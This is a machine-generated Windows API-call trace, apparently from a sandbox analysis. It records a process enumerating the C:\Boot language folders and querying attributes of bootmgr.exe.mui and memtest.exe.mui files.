	[0078.057] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39e100
	[0078.058] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.058] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0078.058] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0078.058] FindClose (in: hFindFile=0x1619f39e100 | out: hFindFile=0x1619f39e100) returned 1
	[0078.058] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0078.058] GetFileAttributesExW (in: lpFileName="C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560)) returned 1
	[0078.094] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.094] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fi-FI" (normalized: "c:\\boot\\fi-fi"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0078.095] CreateFileW (lpFileName="C:\\Boot\\fi-FI" (normalized: "c:\\boot\\fi-fi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0078.095] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39df20
	[0078.095] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.095] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0078.095] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0078.095] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0078.096] FindClose (in: hFindFile=0x1619f39df20 | out: hFindFile=0x1619f39df20) returned 1
	[0078.096] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0078.096] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60)) returned 1
	[0078.096] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.096] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0)) returned 1
	[0078.096] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.096] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fr-CA" (normalized: "c:\\boot\\fr-ca"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0078.133] CreateFileW (lpFileName="C:\\Boot\\fr-CA" (normalized: "c:\\boot\\fr-ca"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0078.133] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dce0
	[0078.133] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.133] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0078.133] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0078.133] FindClose (in: hFindFile=0x1619f39dce0 | out: hFindFile=0x1619f39dce0) returned 1
	[0078.134] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0078.134] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560)) returned 1
	[0078.134] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.134] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fr-FR" (normalized: "c:\\boot\\fr-fr"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0078.134] CreateFileW (lpFileName="C:\\Boot\\fr-FR" (normalized: "c:\\boot\\fr-fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0078.134] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39e100
	[0078.134] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.134] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13558, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0078.134] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0078.134] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0078.134] FindClose (in: hFindFile=0x1619f39e100 | out: hFindFile=0x1619f39e100) returned 1
	[0078.134] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0078.134] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13558)) returned 1
	[0078.135] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.135] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0)) returned 1
	[0078.137] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.137] GetFileAttributesExW (in: lpFileName="C:\\Boot\\hr-HR" (normalized: "c:\\boot\\hr-hr"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0078.137] CreateFileW (lpFileName="C:\\Boot\\hr-HR" (normalized: "c:\\boot\\hr-hr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0078.137] FindFirstFileW (in: lpFileName="C:\\Boot\\hr-HR\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dec0
	[0078.137] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.137] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0078.137] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0078.137] FindClose (in: hFindFile=0x1619f39dec0 | out: hFindFile=0x1619f39dec0) returned 1
	[0078.138] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0078.138] GetFileAttributesExW (in: lpFileName="C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60)) returned 1
	[0078.138] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.138] GetFileAttributesExW (in: lpFileName="C:\\Boot\\hu-HU" (normalized: "c:\\boot\\hu-hu"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0078.138] CreateFileW (lpFileName="C:\\Boot\\hu-HU" (normalized: "c:\\boot\\hu-hu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0078.138] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dce0
	[0078.138] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.138] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13360, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0078.138] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
